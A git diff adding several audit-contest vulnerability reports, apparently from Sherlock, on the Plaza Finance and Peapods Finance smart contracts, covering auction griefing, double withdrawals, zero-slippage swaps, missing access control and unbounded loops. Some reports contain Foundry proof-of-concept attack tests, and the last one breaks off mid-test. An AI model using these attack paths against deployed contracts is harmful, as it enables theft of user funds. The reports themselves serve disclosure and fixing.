diff --git a/.gitignore b/.gitignore
deleted file mode 100644
index 3fbffbb..0000000
--- a/.gitignore
+++ /dev/null
@@ -1,10 +0,0 @@
-*
-!*/
-!/.data
-!/.github
-!/.gitignore
-!/README.md
-!/comments.csv
-!*.md
-!**/*.md
-!/Audit_Report.pdf
diff --git a/001.md b/001.md
new file mode 100644
index 0000000..b42c730
--- /dev/null
+++ b/001.md
@@ -0,0 +1,65 @@
+Narrow Macaroon Goblin
+
+High
+
+# Attacker can make auction failure by bidding just before auction end.
+
+### Summary
+
+Just before the auction ends, if the bidCount equals maxBids and the currentCouponAmount matches the totalBuyCouponAmount, the attacker places a small bid with a higher ratio than the lowest bid. In this scenario, the lowest bid is removed, causing the currentCouponAmount to fall below the totalBuyCouponAmount. As a result, the auction transitions to the State.FAILED_UNDERSOLD state.
+
+### Root Cause
+
+https://github.com/sherlock-audit/2024-12-plaza-finance-0xlu7/blob/227f7e7dbd2435cfa1ac940341453c728e323b03/plaza-evm/src/Auction.sol#L157
+Before the auction ends, if the new bid's ratio is bigger than lowest, the lowest is removed.
+https://github.com/sherlock-audit/2024-12-plaza-finance-0xlu7/blob/227f7e7dbd2435cfa1ac940341453c728e323b03/plaza-evm/src/Auction.sol#L340
+In this case, the amount of the new bid is less than the lowest bid, causing the currentCouponAmount to become less than the totalBuyCouponAmount.
+
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+Just before the auction ends, if the bidCount equals maxBids and the currentCouponAmount matches the totalBuyCouponAmount, the attacker places a small bid with a higher ratio than the lowest bid. In this scenario, the lowest bid is removed, causing the currentCouponAmount to fall below the totalBuyCouponAmount. As a result, the auction transitions to the State.FAILED_UNDERSOLD state.
+
+### Impact
+
+The auction fails.
+
+### PoC
+
+```solidity
+function testAttackScenario() public {
+//maxBids is 2.
+//totalBuyCouponAmount is 5000.
+ vm.startPrank(alice1); // first
+ usdc.mint(alice1, 3000 ether);
+ usdc.approve(address(auction), 3000 ether);
+ auction.bid(100 ether, 2000 ether); // Legitimate bid
+ vm.stopPrank();
+ vm.startPrank(alice2); // second
+ usdc.mint(alice2, 2000 ether);
+ usdc.approve(address(auction), 2000 ether);
+ auction.bid(150 ether, 2000 ether);
+ vm.stopPrank();
+ vm.warp(block.timestamp + 12 days - 1 hours); //just before ends
+ vm.startPrank(attacker); // attacker
+ usdc.mint(attacker, 30 ether);
+ usdc.approve(address(auction), 30 ether);
+ auction.bid(1 ether ,30 ether);
+ vm.stopPrank();
+ vm.warp(block.timestamp + 1 days); // auction ends
+ vm.prank(pool);
+ auction.endAuction();
+ assertEq(uint256(auction.state()), uint256(Auction.State.FAILED_UNDERSOLD));
+```
+
+### Mitigation
+
+There has to be a validation based on time.
\ No newline at end of file
diff --git a/002.md b/002.md
new file mode 100644
index 0000000..d162fe6
--- /dev/null
+++ b/002.md
@@ -0,0 +1,104 @@
+Basic Lilac Marmot
+
+High
+
+# Token duplication verification failure will enable double withdrawals
+
+### Summary
+
+# Summary
+
+```solidity
+function debondAndLock(address _pod, uint256 _amount) external nonReentrant {
+ require(_amount > 0, "D1");
+ require(_pod != address(0), "D2");
+
+ IERC20(_pod).safeTransferFrom(_msgSender(), address(this), _amount);
+
+ IDecentralizedIndex _podContract = IDecentralizedIndex(_pod);
+ IDecentralizedIndex.IndexAssetInfo[] memory _podTokens = _podContract.getAllAssets();
+ address[] memory _tokens = new address[](_podTokens.length);
+ uint256[] memory _balancesBefore = new uint256[](_tokens.length);
+
+ **// Get token addresses and balances before debonding
+ for (uint256 i = 0; i < _tokens.length; i++) {
+ _tokens[i] = _podTokens[i].token;
+ _balancesBefore[i] = IERC20(_tokens[i]).balanceOf(address(this));
+ }
+ _podContract.debond(_amount, new address[](0), new uint8[](0));
+
+ uint256[] memory _receivedAmounts = new uint256[](_tokens.length);
+ for (uint256 i = 0; i < _tokens.length; i++) {
+ _receivedAmounts[i] = IERC20(_tokens[i]).balanceOf(address(this)) - _balancesBefore[i];
+ }**
+ ...
+}
+```
+
+The `debondAndLock` function is designed to deposit a specific token. Since the `_pod` parameter can have an arbitrary address, the return value of the `getAllAssets` function can also vary depending on the address. If the `getAllAssets` function returns duplicate addresses, a single deposit could result in multiple values for `_receivedAmounts`. As a result, the deposited amount could be withdrawn multiple times, creating a vulnerability that allows multiple withdrawals from a single deposit.
+
+```solidity
+function _withdraw(address _user, uint256 _lockId) internal {
+ LockInfo storage _lock = locks[_lockId];
+ require(_lock.user == _user, "W1");
+ require(!_lock.withdrawn, "W2");
+ require(block.timestamp >= _lock.unlockTime, "W3");
+
+ _lock.withdrawn = true;
+
+ for (uint256 i = 0; i < _lock.tokens.length; i++) {
+ if (_lock.amounts[i] > 0) {
+ **IERC20(_lock.tokens[i]).safeTransfer(_user, _lock.amounts[i]);**
+ }
+ }
+
+ emit TokensWithdrawn(_lockId, _user, _lock.tokens, _lock.amounts);
+}
+```
+
+Since there is no validation for duplicate addresses, as described above, it becomes possible to make multiple withdrawals.
+
+### Root Cause
+
+in `PodUnwrapLocker.sol:74` there is a missing check on token duplication
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Deploy a contract that implements the transferFrom, getAllAssets, and debond functions.
+2. Call the debondAndLock function and set the _pod parameter to the address of the contract deployed in step 1.
+3. Withdraw the duplicate tokens through the earlyWithdraw function.
+
+### Impact
+
+The affected party will lose all assets.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```solidity
+// Get token addresses and balances before debonding
+for (uint256 i = 0; i < _tokens.length; i++) {
+ _tokens[i] = _podTokens[i].token;
+ **for(uint256 j=i+1; j<_tokens.length; j++) require(_tokens[i] != _tokens[j], "invalid same token");**
+ _balancesBefore[i] = IERC20(_tokens[i]).balanceOf(address(this));
+}
+```
+
+performs checks to verify the token quantity and ensure that the same token is being used.
+
+# Refernces
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/PodUnwrapLocker.sol#L72-L75
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/PodUnwrapLocker.sol#L158
\ No newline at end of file
diff --git a/003.md b/003.md
new file mode 100644
index 0000000..339a60b
--- /dev/null
+++ b/003.md
@@ -0,0 +1,104 @@
+Basic Lilac Marmot
+
+High
+
+# Due to the lack of amountOutMin setting, the attacker can steal tokens.
+
+### Summary
+
+# Summary
+
+```solidity
+function claimReward(address _wallet) external override {
+ _processFeesIfApplicable();
+ _distributeReward(_wallet);
+ emit ClaimReward(_wallet);
+}
+function _processFeesIfApplicable() internal {
+ IDecentralizedIndex(INDEX_FUND).processPreSwapFeesAndSwap();
+}
+```
+
+Anyone can call the `processPreSwapFeesAndSwap` function of `INDEX_FUND` through the `claimReward` function.
+
+```solidity
+/// @notice The ```processPreSwapFeesAndSwap``` function allows the rewards CA for the pod to process fees as needed
+function processPreSwapFeesAndSwap() external override lock {
+ require(_msgSender() == IStakingPoolToken(lpStakingPool).POOL_REWARDS(), "R");
+ _processPreSwapFeesAndSwap();
+}
+```
+
+```solidity
+/// @notice The ```_feeSwap``` function processes built up fees by converting to pairedLpToken
+/// @param _amount Number of pTKN being processed for yield
+function _feeSwap(uint256 _amount) internal {
+ _approve(address(this), address(DEX_HANDLER), _amount);
+ address _rewards = IStakingPoolToken(lpStakingPool).POOL_REWARDS();
+ uint256 _pairedLpBalBefore = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards);
+ **DEX_HANDLER.swapV2Single(address(this), PAIRED_LP_TOKEN, _amount, 0, _rewards);**
+
+ if (PAIRED_LP_TOKEN == lpRewardsToken) {
+ uint256 _newPairedLpTkns = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) - _pairedLpBalBefore;
+ if (_newPairedLpTkns > 0) {
+ ITokenRewards(_rewards).depositRewardsNoTransfer(PAIRED_LP_TOKEN, _newPairedLpTkns);
+ }
+ } else if (IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) > 0) {
+ ITokenRewards(_rewards).depositFromPairedLpToken(0);
+ }
+}
+```
+
+When the `processPreSwapFeesAndSwap` function is executed, it triggers the `swapV2Single` function within the `_feeSwap` function of `DEX_HANDLER`. This function likely calls the Uniswap V2 swap function to perform a token swap.
+
+```solidity
+function swapV2Single(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountIn,
+ uint256 _amountOutMin,
+ address _recipient
+) external
+```
+
+The fourth parameter of the swapV2Single function is used to validate the minimum amount of tokens expected after the swap. However, in the _feeSwap function, this parameter is being passed as 0, which effectively means there is no minimum amount check.
+
+Through this, a malicious user could exploit the lack of a minimum amount check (by passing 0 as the fourth parameter) to steal fees.
+
+### Root Cause
+
+in `DecentralizedIndex.sol:232` amountOutMin is set to zero.
+
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The attacker calculates the swap amount of the DecentralizedIndex contract and adjusts the liquidity of the POOL.
+2. By calling the claimReward function, the attacker causes the DecentralizedIndex contract to swap, resulting in a loss of _rewards worth of tokens and returning tokens close to zero.
+
+### Impact
+
+The affected party continuously loses tokens equivalent to _rewards.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Even if the claimReward function is restricted to authorized users, a malicious actor could still exploit the system via front-running to steal fees.
+
+To prevent this, it is essential to validate the minimum amount during the swap. This would ensure that the swap cannot proceed unless the expected minimum amount of tokens is received, preventing a malicious user from benefiting from an unfavorable swap rate.
+
+# References
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L137-L139
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L232
\ No newline at end of file
diff --git a/004.md b/004.md
new file mode 100644
index 0000000..c7a2e97
--- /dev/null
+++ b/004.md
@@ -0,0 +1,71 @@
+Rhythmic Azure Manatee
+
+Medium
+
+# The bulkProcessPendingYield function is external and callable by any account
+
+### The bulkProcessPendingYield function is external and callable by any account
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/BulkPodYieldProcess.sol#L20-L26
+
+### Description
+The bulkProcessPendingYield function is external and callable by any account. This design choice can be deliberate (e.g., a public keeper pattern), but it also opens the possibility of repeated or spam calls. An actor—malicious or not—could invoke this function at will, potentially causing operational overhead or consuming block gas limits.
+
+### Impact (DoS / Spamming Concern)
+- **Spam Calls:** Repeated invocations by a malicious actor might bloat transaction history and cause elevated gas costs for legitimate users or keepers.
+- **DoS Vector:** If the underlying ITokenRewards logic is gas-intensive or triggers state updates that can fail, repeated spamming could temporarily block or disrupt legitimate yield-harvesting calls.
+
+### Proof of Concept
+1. **Setup:** Deploy BulkPodYieldProcess and a mock IDecentralizedIndex and ITokenRewards contract.
+2. **Repeated Calls:**
+ ```solidity
+ // Attacker script, pseudo-code:
+ for (uint i = 0; i < 100; i++) {
+ bulkPodYieldProcess.bulkProcessPendingYield(indexArray);
+ }
+ ```
+3. **Result:**
+ - The contract accepts each call (no restriction).
+ - If the yield-processing function is gas-intensive, repeated calls might cause short-term DoS for other functions on the network or consume substantial gas from any keepers trying to do a genuine harvest.
+
+**Foundry Test**
+Append this foundry test below to the following file and run forge test: contracts/test/BulkPodYieldProcess.t.sol.
+```solidity
+// function is called by anyone
+function testBulkProcessPendingYieldByAnyone() public {
+ IDecentralizedIndex[] memory idxArray = new IDecentralizedIndex[](indices.length);
+ for (uint256 i = 0; i < indices.length; i++) {
+ idxArray[i] = indices[i];
+ }
+ vm.startPrank(address(0xfeefdeef));
+ processor.bulkProcessPendingYield(idxArray);
+ vm.stopPrank();
+ // Verify each index's staking pool and rewards were accessed correctly
+ for (uint256 i = 0; i < indices.length; i++) {
+ assertEq(indices[i].lpStakingPool(), stakingPools[i]);
+ assertEq(MockStakingPoolToken(stakingPools[i]).POOL_REWARDS(), poolRewards[i]);
+ }
+ }
+```
+
+**Log Results Of Foudry Test**
+```log
+# Test function is called by anyone
+forge test --match-test testBulkProcessPendingYieldByAnyone
+Ran 1 test for test/BulkPodYieldProcess.t.sol:BulkPodYieldProcessTest
+[PASS] testBulkProcessPendingYieldByAnyone() (gas: 98677)
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.12ms (437.58µs CPU time)
+
+Ran 1 test suite in 144.57ms (2.12ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+### Recommendation
+**Restrict Access:**
+ - Use a role-based system (e.g., OpenZeppelin AccessControl) or simple ownership:
+ ```solidity
+ import "@openzeppelin/contracts/access/Ownable.sol";
+
+ contract BulkPodYieldProcess is Ownable {
+ function bulkProcessPendingYield(IDecentralizedIndex[] memory _idx) external onlyOwner {
+ // ...
+ }
+ }
+ ```
\ No newline at end of file
diff --git a/005.md b/005.md
new file mode 100644
index 0000000..bb782fd
--- /dev/null
+++ b/005.md
@@ -0,0 +1,72 @@
+Rhythmic Azure Manatee
+
+Medium
+
+# The claimReward function in the TokenRewards contract allows any external account to invoke it on behalf of any wallet
+
+The claimReward function in the TokenRewards contract allows any external account to invoke it on behalf of any wallet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L325-L329
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L137-L139
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L236-L256
+
+### **Description**
+The claimReward function in the TokenRewards contract allows any external account to invoke it on behalf of any wallet. This lack of access control enables unauthorized entities to trigger reward claims for arbitrary wallet addresses. While the rewards are correctly sent to the intended recipient, this functionality can be misused in ways that harm the protocol and its users.
+
+### **Impact**
+
+1. **Denial-of-Service (DoS) Attack:**
+ - An attacker can spam calls to claimReward for multiple addresses, potentially overloading the network or consuming excessive gas for contract operations.
+
+2. **Increased User Costs:**
+ - Users may incur unnecessary gas fees if attackers claim rewards on their behalf, particularly in high-frequency scenarios.
+
+3. **Unintended Side Effects:**
+ - If claiming rewards triggers additional downstream logic, attackers could exploit this behaviour to manipulate protocol outcomes or interfere with integrations.
+
+### **Proof of Concept (PoC)**
+1. Copy and paste the following function into the foundry test file called contracts/test/TokenRewards.t.sol
+```solidity
+function testClaimRewardByAnyone() public {
+ rewardsWhitelister.setWhitelist(address(rewardsToken), true);
+ // Add shares for two users
+ vm.startPrank(address(trackingToken));
+ tokenRewards.setShares(user1, 60e18, false); // 60%
+ tokenRewards.setShares(user2, 40e18, false); // 40%
+ vm.stopPrank();
+ // Deposit rewards
+ uint256 depositAmount = 100e18;
+ tokenRewards.depositRewards(address(rewardsToken), depositAmount);
+ address anyOne = address(0xfeefdeef);
+ vm.startPrank(anyOne);
+ // Claim rewards for user 1 and user 2
+ tokenRewards.claimReward(user1);
+ tokenRewards.claimReward(user2);
+ vm.stopPrank();
+ }
+```
+2. Then run forge test in CMD in the contracts folder.
+```log
+# forge test --match-test testClaimRewardByAnyone -vvv
+Ran 1 test for test/TokenRewards.t.sol:TokenRewardsTest
+[PASS] testClaimRewardByAnyone() (gas: 494229)
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.50ms (299.17µs CPU time)
+
+Ran 1 test suite in 140.68ms (1.50ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+3. The foundry test is passed and I have claimed rewards for a couple of users, but it has gone to their wallets.
+
+### **Recommended Mitigation**
+Implement access control to restrict claimReward function calls to the wallet owner or an authorised entity.
+
+**Mitigated Implementation:**
+```diff
+function claimReward(address _wallet) external override {
++ require(_wallet == _msgSender(), "UNAUTHORIZED: Only the wallet owner can claim rewards");
+ _processFeesIfApplicable();
+ _distributeReward(_wallet);
+ emit ClaimReward(_wallet);
+}
+```
diff --git a/006.md b/006.md
new file mode 100644
index 0000000..2f7d943
--- /dev/null
+++ b/006.md
@@ -0,0 +1,60 @@
+Rhythmic Azure Manatee
+
+Medium
+
+# The VotingPool update function can be accessed by anyone to modify the internal staking state of the caller
+
+### The update function can be accessed by anyone to modify the internal staking state of the caller
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/VotingPool.sol#L58-L60
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/VotingPool.sol#L114-L123
+
+### **Description**
+The update function in the contract is callable by any external address. The function calls _updateUserState, which modifies the internal staking state of the caller (_msgSender) for the specified _asset.
+
+This design introduces several potential risks:
+1. **Unintended State Changes**:
+ - Malicious or careless users can call update unnecessarily, causing additional state changes and emitting events. While this does not directly lead to fund loss, it can increase the gas cost and make the state history more convoluted.
+2. **Excessive Gas Consumption**:
+ - Public access to update may result in unnecessary calls, wasting computational resources and increasing gas costs for the protocol.
+3. **DoS Risks**:
+ - If the update function is abused at scale, it could create excessive on-chain activity, potentially hindering other users' operations on the contract.
+
+### **Exploit Scenario**
+1. **Scenario 1**:
+ - A malicious user or bot repeatedly calls update for multiple assets, incurring high gas costs and unnecessarily bloating the transaction history with emitted events.
+2. **Scenario 2**:
+ - A user intentionally or accidentally calls update with invalid or disabled assets. While this would revert due to validation, repeated reverts could disrupt legitimate activity and waste computational resources.
+
+### POC
+1. Copy and paste the following foundry test function in this file: contracts/test/voting/VotingPool.t.sol
+2. Then save and run forge test in the following folder: contracts/
+```solidity
+function testUpdateByAnyone() public {
+ address anyOne = address(0xdeefFeef);
+ address asset1 = address(pairedLpToken);
+ vm.startPrank(anyOne);
+ votingPool.update(asset1);
+ vm.stopPrank();
+ }
+```
+3. The test then passes for any tom dick and harry. The log results of the foundry test follows.
+```log
+forge test --match-test testUpdateByAnyone
+Ran 1 test for test/voting/VotingPool.t.sol:VotingPoolTest
+[PASS] testUpdateByAnyone() (gas: 65208)
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.90ms (184.04µs CPU time)
+
+Ran 1 test suite in 143.06ms (2.90ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+### **Recommendations**
+1. **Access Control**:
+ - Restrict the update function to only allow whitelisted or approved entities to call it. For example:
+```diff
++ function update(address _asset) external onlyOwner returns (uint256 _convFctr, uint256 _convDenom) {
+- function update(address _asset) external returns (uint256 _convFctr, uint256 _convDenom) {
+ return _updateUserState(_msgSender(), _asset, 0);
+ }
+```
\ No newline at end of file
diff --git a/007.md b/007.md
new file mode 100644
index 0000000..1b4507f
--- /dev/null
+++ b/007.md
@@ -0,0 +1,538 @@
+Energetic Opaque Elephant
+
+Medium
+
+# Denial-of-Service Vulnerability due to Unbounded Loop in `__WeightedIndex_init`
+
+### Summary
+
+The `__WeightedIndex_init` function in the `WeightedIndex` contract contains a loop that iterates up to 255 times, processing each token added to the index. This unbounded loop, combined with gas-intensive operations within the loop, creates a potential Denial-of-Service (DoS) vulnerability. An attacker can exploit this by submitting a transaction with a large number of tokens (up to the loop limit), causing the transaction to consume excessive gas and potentially exceeding the block gas limit. This can prevent legitimate users from interacting with the contract and disrupt its intended functionality.
+
+### Root Cause
+
+The primary root cause is the unbounded nature of the loop in [`WeightedIndex::__WeightedIndex_init`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L54-L55) While the number of iterations is limited by the `uint8` loop counter `_i` (max 255), the gas cost per iteration, especially with operations like the `q1` calculation and `decimals()` calls, is significant. This allows an attacker to manipulate the gas cost to create a DoS condition.
+
+### Internal Pre-conditions
+
+- The `WeightedIndex` contract is deployed and operational.
+- The `__WeightedIndex_init` function is accessible (directly or via a wrapper function).
+- The contract relies on the `indexTokens` array and `_fundTokenIdx` mapping, which are populated within the loop.
+- The contract uses a `FixedPoint96` library and interacts with an `IERC20Metadata` interface.
+
+
+### External Pre-conditions
+
+- The attacker has control over the input parameters to the `__WeightedIndex_init` function, specifically the `_tokens` and `_weights arrays`.
+- The attacker has sufficient ETH to pay for the gas cost of the attack transaction (though the cost can be made high enough to be a griefing attack, even if it doesn't exceed the block limit).
+
+### Attack Path
+
+1. The attacker crafts a transaction that calls the __WeightedIndex_init function (or the publicInit wrapper) with a large number of tokens (up to 255).
+2. The _tokens array contains valid token addresses (that are deployed contracts) and the _weights array contains corresponding weights.
+3. The transaction is submitted to the Ethereum network.
+4. The loop in __WeightedIndex_init iterates through the provided tokens, performing gas-intensive operations for each token.
+5. The total gas cost of the transaction increases significantly with the number of tokens.
+6. Scenario 1 (Block Gas Limit): If the gas cost exceeds the block gas limit, the transaction is reverted. This prevents the attacker from successfully executing the attack but also potentially prevents legitimate transactions from being included in the block.
+7. Scenario 2 (Gas Griefing): If the gas cost is high but below the block gas limit, the transaction is included in the block. This makes it very expensive for anyone else to interact with the contract. Even if they can afford the gas, the contract owner will be griefed by the high gas cost of any subsequent transaction.
+
+
+
+### Impact
+
+- Denial of Service: Legitimate users are unable to interact with the WeightedIndex contract.
+- Gas Griefing: The cost of interacting with the contract becomes prohibitively high, effectively making it unusable for legitimate users.
+- Reputational Damage: The contract's reputation is harmed, and users may lose trust in the system.
+- Financial Loss: Users may be unable to access or manage their assets within the index.
+
+### PoC
+
+Add the provided test file (containing the `test_DoS_attack_large_number_of_tokens` and `test_DoS_mitigation` functions) to your `test` folder. This file demonstrates the potential Denial-of-Service vulnerability and the implemented mitigation.
+
+```solidity
+
+import "@openzeppelin/contracts/interfaces/IERC20.sol";
+import {console2} from "forge-std/Test.sol";
+import {PEAS} from "../contracts/PEAS.sol";
+import {RewardsWhitelist} from "../contracts/RewardsWhitelist.sol";
+import {V3TwapUtilities} from "../contracts/twaputils/V3TwapUtilities.sol";
+import {UniswapDexAdapter} from "../contracts/dex/UniswapDexAdapter.sol";
+import {IDecentralizedIndex} from "../contracts/interfaces/IDecentralizedIndex.sol";
+import {IStakingPoolToken} from "../contracts/interfaces/IStakingPoolToken.sol";
+import {WeightedIndex} from "../contracts/WeightedIndex.sol";
+import {MockFlashMintRecipient} from "./mocks/MockFlashMintRecipient.sol";
+import {PodHelperTest} from "./helpers/PodHelper.t.sol";
+import "forge-std/console.sol";
+import {MockERC20, MockUniswapV2Router, MockPEAS, MockUniswapV2Pair, MockUniswapV2Factory} from "./MockERC20.sol";
+import {TestWeightedIndex} from "./TestWeightedIndex.t.sol";
+import "@openzeppelin/contracts/utils/Strings.sol";
+
+contract WeightedIndexTest is PodHelperTest {
+ //PEAS public peas;
+ RewardsWhitelist public rewardsWhitelist;
+ V3TwapUtilities public twapUtils;
+ UniswapDexAdapter public dexAdapter;
+ WeightedIndex public pod;
+ MockFlashMintRecipient public flashMintRecipient;
+
+ MockERC20 public dai; // Use MockERC20 for DAI
+ MockUniswapV2Router public mockV2Router;
+ MockERC20 public mockWeth;
+ MockPEAS public peas; // Use MockPEAS
+ MockUniswapV2Factory public mockV2Factory;
+ MockUniswapV2Pair public mockPair;
+ TestWeightedIndex public podLarge;
+
+
+ address public mockPairAddress;
+ address public mockV2FactoryAddress;
+ //address dummyFactory = address(0x123);
+ address public peasAddress;
+ address public mockDAI; // Address of the deployed mock DAI
+ //address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
+ uint256 public bondAmt = 1e18;
+ uint16 fee = 100;
+ uint256 public bondAmtAfterFee = bondAmt - (bondAmt * fee) / 10000;
+ uint256 public feeAmtOnly1 = (bondAmt * fee) / 10000;
+ uint256 public feeAmtOnly2 = (bondAmtAfterFee * fee) / 10000;
+
+ // Test users
+ address public alice = address(0x1);
+ address public bob = address(0x2);
+ address public carol = address(0x3);
+
+ event FlashMint(address indexed executor, address indexed recipient, uint256 amount);
+
+ event AddLiquidity(address indexed user, uint256 idxLPTokens, uint256 pairedLPTokens);
+
+ event RemoveLiquidity(address indexed user, uint256 lpTokens);
+
+ function setUp() public override {
+ super.setUp();
+
+ // 1. Deploy Mock ERC20s FIRST
+ dai = new MockERC20("MockDAI", "mDAI", 18);
+ mockDAI = address(dai);
+ mockWeth = new MockERC20("Wrapped Ether", "WETH", 18);
+ podLarge = new TestWeightedIndex();
+
+ // 2. Deploy Mock Factory
+ mockV2Factory = new MockUniswapV2Factory();
+ mockV2FactoryAddress = address(mockV2Factory);
+
+ // 3. Deploy Mock Router (using the factory address!)
+ mockV2Router = new MockUniswapV2Router(address(mockWeth), mockV2FactoryAddress);
+
+
+ // 4. Deploy Mock PEAS
+ peas = new MockPEAS("PEAS", "PEAS", 18);
+ peasAddress = address(peas);
+
+ // 5. Create and register the Mock Pair
+ mockPair = new MockUniswapV2Pair(address(dai), address(mockWeth));
+ mockPairAddress = address(mockPair);
+ mockV2Factory.setPair(address(dai), address(mockWeth), mockPairAddress); // VERY IMPORTANT!
+
+ // 6. Initialize the DEX Adapter (using the router)
+ dexAdapter = new UniswapDexAdapter(
+ twapUtils,
+ address(mockV2Router),
+ 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45, // Uniswap SwapRouter02
+ false
+ );
+
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = fee;
+ _f.debond = fee;
+ address[] memory _t = new address[](1);
+ _t[0] = address(peas);
+ uint256[] memory _w = new uint256[](1);
+ _w[0] = 100;
+ address _pod = _createPod(
+ "Test",
+ "pTEST",
+ _c,
+ _f,
+ _t,
+ _w,
+ address(0),
+ false,
+ abi.encode(
+ mockDAI,
+ //dai,
+ peasAddress,
+ //address(peas),
+ mockDAI,
+ //0x6B175474E89094C44Da98b954EedeAC495271d0F,
+ 0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
+ rewardsWhitelist,
+ 0x024ff47D552cB222b265D68C7aeB26E586D5229D,
+ dexAdapter
+ )
+ );
+ pod = WeightedIndex(payable(_pod));
+
+ flashMintRecipient = new MockFlashMintRecipient();
+
+ // Initial token setup for test users
+ deal(address(peas), address(this), bondAmt * 100);
+ deal(address(peas), alice, bondAmt * 100);
+ deal(address(peas), bob, bondAmt * 100);
+ deal(address(peas), carol, bondAmt * 100);
+ deal(mockDAI, address(this), 5 * 10e18);
+
+ // Approve tokens for all test users
+ vm.startPrank(alice);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+
+ vm.startPrank(carol);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+ }
+
+ function test_WeightedIndex_inits() public {
+ IDecentralizedIndex.Config memory _config;
+ address[] memory _tokens = new address[](3);
+ uint256[] memory _weights = new uint256[](3);
+ bytes memory _immutables;
+
+ _tokens[0] = address(dai);
+ _tokens[1] = address(peas);
+ _tokens[2] = address(mockWeth);
+
+ _weights[0] = 50;
+ _weights[1] = 30;
+ _weights[2] = 20;
+
+ _immutables = abi.encode(
+ address(dai),
+ address(peas),
+ address(dai),
+ 0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
+ rewardsWhitelist,
+ 0x024ff47D552cB222b265D68C7aeB26E586D5229D,
+ dexAdapter
+ );
+
+ podLarge.publicInit(_config, _tokens, _weights, _immutables); // Use publicInit
+
+ assertEq(podLarge.indexTokenCount(), 3, "Incorrect token count");
+ // assertEq(pod.indexTokens(0).token, address(dai), "Incorrect token at index 0");
+ // assertEq(podLarge.indexTokens(1).token, address(peas), "Incorrect token at index 1");
+ // assertEq(podLarge.indexTokens(2).token, address(mockWeth), "Incorrect token at index 2");
+
+ assertEq(podLarge.getFundTokenIdx(address(dai)), 0, "Incorrect index for DAI"); // Use getFundTokenIdx
+ assertEq(podLarge.getFundTokenIdx(address(peas)), 1, "Incorrect index for PEAS"); // Use getFundTokenIdx
+ assertEq(podLarge.getFundTokenIdx(address(mockWeth)), 2, "Incorrect index for WETH"); // Use getFundTokenIdx
+ //assertEq(podLarge.totalWeights(), 100, "incorrect total weight");
+
+ // Add more assertions as needed (e.g., weights, q1 values, blacklist)
+ }
+
+ function test_DoS_attack_large_number_of_tokens() public {
+ IDecentralizedIndex.Config memory _config;
+ uint256 numTokens = 255; // Max allowed by uint8 loop counter
+ address[] memory _tokens = new address[](numTokens);
+ uint256[] memory _weights = new uint256[](numTokens);
+ bytes memory _immutables;
+
+ for (uint256 i = 0; i < numTokens; i++) {
+ MockERC20 mockToken = new MockERC20(
+ string(abi.encodePacked("MockToken", Strings.toString(i))),
+ string(abi.encodePacked("MT", Strings.toString(i))),
+ 18
+ );
+ _tokens[i] = address(mockToken);
+ _weights[i] = 100;
+
+ mockToken.mint(address(pod), 1000000 ether);
+ mockToken.mint(address(this), 1000000 ether); // For any testing interactions
+ }
+
+ _immutables = abi.encode(
+ address(dai),
+ address(peas),
+ address(dai),
+ 0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
+ rewardsWhitelist,
+ 0x024ff47D552cB222b265D68C7aeB26E586D5229D,
+ dexAdapter
+ );
+
+ // Try to initialize with the maximum number of tokens
+ // This test will demonstrate the potential for DoS due to gas griefing
+ // or exceeding the block gas limit. The exact outcome depends on
+ // the gas cost of the operations within the loop.
+
+ // Option 1: Expect a revert due to exceeding gas limit (if it does)
+ // vm.expectRevert(); // Uncomment if you expect the transaction to revert
+
+ // Option 2: Check gas used (more precise, but test might need gas limit increase)
+ uint256 gasBefore = gasleft();
+ podLarge.publicInit(_config, _tokens, _weights, _immutables);
+ uint256 gasUsed = gasBefore - gasleft();
+ console.log("Gas used:", gasUsed);
+
+ // You can set an expected gas usage range. This needs careful tuning!
+ // uint256 expectedGasMin = ...; // Set a reasonable min gas usage
+ // uint256 expectedGasMax = ...; // Set a reasonable max gas usage
+ // assertGe(gasUsed, expectedGasMin, "Gas used is less than expected");
+ // assertLe(gasUsed, expectedGasMax, "Gas used is greater than expected");
+
